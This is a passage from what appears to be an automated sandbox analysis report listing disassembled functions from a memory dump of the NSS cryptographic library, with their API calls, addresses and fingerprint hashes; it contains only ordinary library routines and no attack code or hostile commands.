Instruction Fuzzy Hash: E201A2B5B051223BFF2056767D4AF7B79ADDB456B4B040239FC29DA1C0EA919C1181F1

Function 6D052D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6D055B40: PR_GetIdentitiesLayer.NSS3 ref: 6D055B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D052D9C

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PR_EnterMonitor.NSS3(?), ref: 6D052DB2
PR_EnterMonitor.NSS3(?), ref: 6D052DCF
PR_ExitMonitor.NSS3(?), ref: 6D052DF2
PR_ExitMonitor.NSS3(?), ref: 6D052E0B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: d0e6520bab488329c332b267ab2279df98369f0cd269da6a0eaf9c58bd1a0384
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 21018BB5A14200ABFB309E39FD01B8BB7A5EF45318F014425ED5A87212E632E831C6A2

Function 6D052CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6D055B40: PR_GetIdentitiesLayer.NSS3 ref: 6D055B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D052CEC

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PR_EnterMonitor.NSS3(?), ref: 6D052D02
PR_EnterMonitor.NSS3(?), ref: 6D052D1F
PR_ExitMonitor.NSS3(?), ref: 6D052D42
PR_ExitMonitor.NSS3(?), ref: 6D052D5B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: f197b34eb2c87663b968c26a2c0d64b93943bb1993350871b098140668a9ef01
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 8001C4B5E142409FFB309E35FC40B87B7A5EF45318F014525ED5A87222E632F8218BA2

Function 6CFEAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CFD3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFEAE42), ref: 6CFD30AA
Part of subcall function 6CFD3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFD30C7
Part of subcall function 6CFD3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFD30E5
Part of subcall function 6CFD3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFD3116
Part of subcall function 6CFD3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD312B
Part of subcall function 6CFD3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFD3154
Part of subcall function 6CFD3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CFC99FF,?,?,?,?,?,?,?,?,?,6CFC2D6B,?), ref: 6CFEAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CFC99FF,?,?,?,?,?,?,?,?,?,6CFC2D6B,?), ref: 6CFEAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CFC2D6B,?,?,00000000), ref: 6CFEAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CFC2D6B,?,?,00000000), ref: 6CFEAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CFC2D6B,?,?), ref: 6CFEAEA3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 31d3a540eca05d9b23cc53c609a0a3f55c99dba1c4f9b14435adbdbbf56fd026
Instruction ID: ff971cd44efff2400a96ad6566090a38fbb87418a5517e907e7877241aef9e41
Opcode Fuzzy Hash: 31d3a540eca05d9b23cc53c609a0a3f55c99dba1c4f9b14435adbdbbf56fd026
Instruction Fuzzy Hash: E40181A7A4501077E601966EEC85BEB39F88B8BA5CB090131F90AD7701F616D90942E3

Function 6D0DBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6D0D7AFE,?,?,?,?,?,?,?,?,6D0D798A), ref: 6D0DBDC3
free.MOZGLUE(?,?,6D0D7AFE,?,?,?,?,?,?,?,?,6D0D798A), ref: 6D0DBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D0D7AFE,?,?,?,?,?,?,?,?,6D0D798A), ref: 6D0DBDE9
free.MOZGLUE(?,00000000,00000000,?,6D0D7AFE,?,?,?,?,?,?,?,?,6D0D798A), ref: 6D0DBE21
free.MOZGLUE(00000000,00000000,?,6D0D7AFE,?,?,?,?,?,?,?,?,6D0D798A), ref: 6D0DBE32

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 45e1fb7dfadd6272535f4f974d0446247492fe50006f902612121b26aa4a621d
Instruction ID: e3f8d4417dcd06fdd435e6f729d173d3fd421354f660307914e8b949fd6db4b2
Opcode Fuzzy Hash: 45e1fb7dfadd6272535f4f974d0446247492fe50006f902612121b26aa4a621d
Instruction Fuzzy Hash: FB1121B5A10301AFDF61CFA9F805B4A3BF5FB4A754B440125D60AC7310F7B29494CB99

Function 6D023E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6D023975), ref: 6D023E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6D023975), ref: 6D023E38

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6D023975), ref: 6D023E52
DeleteFileW.KERNEL32(00000000), ref: 6D023E5D
free.MOZGLUE(00000000), ref: 6D023E64

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: 59b441c41ac7b43bcf1b2ddb2c076ce80fd08dc4a598744d32c2e5b223cc045e
Instruction ID: 006df50e4bb2871d8bed9ada12177692896490c1c277937674a75e1196680c68
Opcode Fuzzy Hash: 59b441c41ac7b43bcf1b2ddb2c076ce80fd08dc4a598744d32c2e5b223cc045e
Instruction Fuzzy Hash: B8F03AB530A2023BFF1026766D4AF7B65ADDB46AB5B140639BD39C51C1EA80CC148672

Function 6D0D7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6D0D7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0D7C83
malloc.MOZGLUE(00000001), ref: 6D0D7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6D0D7C9F
PR_GetCurrentThread.NSS3 ref: 6D0D7CAD

Part of subcall function 6D089BF0: TlsGetValue.KERNEL32(?,?,?,6D0D0A75), ref: 6D089C07

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 7f0292297606643d73994af4f357d4b5024ce0b8b57cd1f0eb1636201340fe57
Instruction ID: 36596aa1ae44de8d4922f5e6b1abf55e4e45d676be8906058b95a0dffce32910
Opcode Fuzzy Hash: 7f0292297606643d73994af4f357d4b5024ce0b8b57cd1f0eb1636201340fe57
Instruction Fuzzy Hash: F2F0C2B1D143167FFB409F3AAC09B177798EF40264B01843AE90AC3301EB30E110CAA9

Function 6D0DADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6D0DA6D8), ref: 6D0DAE0D
free.MOZGLUE(?), ref: 6D0DAE14
DeleteCriticalSection.KERNEL32(6D0DA6D8), ref: 6D0DAE36
free.MOZGLUE(?), ref: 6D0DAE3D
free.MOZGLUE(00000000,00000000,?,?,6D0DA6D8), ref: 6D0DAE47

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: baad909deedb406b2492daea71268feb793e4e76cd8aa1836ebbcbb2cc99fabb
Instruction ID: 4e128e913933b4808986fff530968a21ef78157003a0d5a58ba087c100405255
Opcode Fuzzy Hash: baad909deedb406b2492daea71268feb793e4e76cd8aa1836ebbcbb2cc99fabb
Instruction Fuzzy Hash: 3AF0C275000A02ABDB018F68B809B57B7B9BE866747100339E13A83540E771E025C7D5

Function 6CF5BCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6D0FAAF9,?), ref: 6CF5BE37

Strings

winFileSize, xrefs: 6CF5BF07
m, xrefs: 6CF5BDD7
Pm, xrefs: 6CF5BED4

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: m$Pm$winFileSize
API String ID: 4246442610-3612427411
Opcode ID: acdcae6e24522c60293034ed12bc61cc02b76cc4b1abf4a771bead06a315d0f3
Instruction ID: 73875c6b96dcf46e633bf708e3febd5c29e4019a1900073403aeb15ae61b404a
Opcode Fuzzy Hash: acdcae6e24522c60293034ed12bc61cc02b76cc4b1abf4a771bead06a315d0f3
Instruction Fuzzy Hash: 4061B232B04606DFDB04CF68D5907AAB7B1FF5A304B984A65DA158BB40D730E962CFD1

Function 6CF67C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF67D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF67D13, 6CF67D1F, 6CF67D47, 6CF67D53, 6CF67D5F
%s at line %d of [%.10s], xrefs: 6CF67D2E
database corruption, xrefs: 6CF67D29

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 65b805ad7ae4e783b62414b4eb16703488d32e108ced4e38782dd7bf5fb9a4fd
Instruction ID: 79edb5a56464e3695ba27716c7f32a04c8cb1c0d4c2a74edb05fe3495e52e7dc
Opcode Fuzzy Hash: 65b805ad7ae4e783b62414b4eb16703488d32e108ced4e38782dd7bf5fb9a4fd
Instruction Fuzzy Hash: B2313872E0422997C710CF9FC880ABEB7F1EF48309B590197E548B7B86D6B1D841CBA4

Function 6CF56C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CF56D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF56D20
%s at line %d of [%.10s], xrefs: 6CF56D2F
database corruption, xrefs: 6CF56D2A

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 33e8a48272e43c417e0bdd518cad3fde8f1bd5c06a49cc6f6b6f8cd8efd10078
Instruction ID: 978548b2de9030cc28e75b45d3a0fa150a7bfb172e8dd43cac9291ab21269364
Opcode Fuzzy Hash: 33e8a48272e43c417e0bdd518cad3fde8f1bd5c06a49cc6f6b6f8cd8efd10078
Instruction Fuzzy Hash: C62136316003059BC310CF19C841B5BBBF2AF90318F64892DED699BB51E7B1F959CB91

Function 6D08CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6D08CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6D08CC7B), ref: 6D08CD7A
Part of subcall function 6D08CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D08CD8E
Part of subcall function 6D08CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D08CDA5
Part of subcall function 6D08CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D08CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6D08CCB5
memcpy.VCRUNTIME140(6D1214F4,6D1202AC,00000090), ref: 6D08CCD3
memcpy.VCRUNTIME140(6D121588,6D1202AC,00000090), ref: 6D08CD2B

Part of subcall function 6CFA9AC0: socket.WSOCK32(?,00000017,6CFA99BE), ref: 6CFA9AE6
Part of subcall function 6CFA9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CFA99BE), ref: 6CFA9AFC

Part of subcall function 6CFB0590: closesocket.WSOCK32(6CFA9A8F,?,?,6CFA9A8F,00000000), ref: 6CFB0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6D08CCB0

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: caaaac0c0528b3d9c4b792ea5612edc9bc3511470363d324304193b80d168f19
Instruction ID: 51da850f16026d42e08627a333a7d6448e10ccdb210414d1b232afa90c7b97f6
Opcode Fuzzy Hash: caaaac0c0528b3d9c4b792ea5612edc9bc3511470363d324304193b80d168f19
Instruction Fuzzy Hash: D01149F1A00344BEFB90CF6AA805B567AB8A757218F10017AE50DDB346E7F754C48BD6

Function 6CF57F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF581DF
LeaveCriticalSection.KERNEL32(?), ref: 6CF58239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CF58255
sqlite3_free.NSS3(00000000), ref: 6CF58260

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 1e4194a3480be38520b75d24437f3574ed9b5014af0cbf5d36e98dbc25faead9
Instruction ID: dde65530dc07a7cfa8539c67f72ef4adfd37f38296d3d381000e1f70cda1ba8f
Opcode Fuzzy Hash: 1e4194a3480be38520b75d24437f3574ed9b5014af0cbf5d36e98dbc25faead9
Instruction Fuzzy Hash: B191F071A81208DFEF04CFE0E948BEDBBB1BF16304F64002AD5169BA40D77659A5CF81

Function 6D031D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D031D8F

Part of subcall function 6D0214C0: TlsGetValue.KERNEL32 ref: 6D0214E0
Part of subcall function 6D0214C0: EnterCriticalSection.KERNEL32 ref: 6D0214F5
Part of subcall function 6D0214C0: PR_Unlock.NSS3 ref: 6D02150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D031DA6

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6D031E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D031ED0

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 9794ec7690cd06122cefc180cd44c3c31b9ff0225746be7b289fdd62a450a203
Instruction ID: 3162eb7e73d997def58f41890c67edde18a7b7387632f96cccaa85def1dd620b
Opcode Fuzzy Hash: 9794ec7690cd06122cefc180cd44c3c31b9ff0225746be7b289fdd62a450a203
Instruction Fuzzy Hash: 41516C75A0031ADFEB00CF94D884BAEB7F6BF49308F124129D9199B251D772E945CB91

Function 6D084FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CF685D2,00000000,?,?), ref: 6D084FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D08500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0850C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0850D6

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
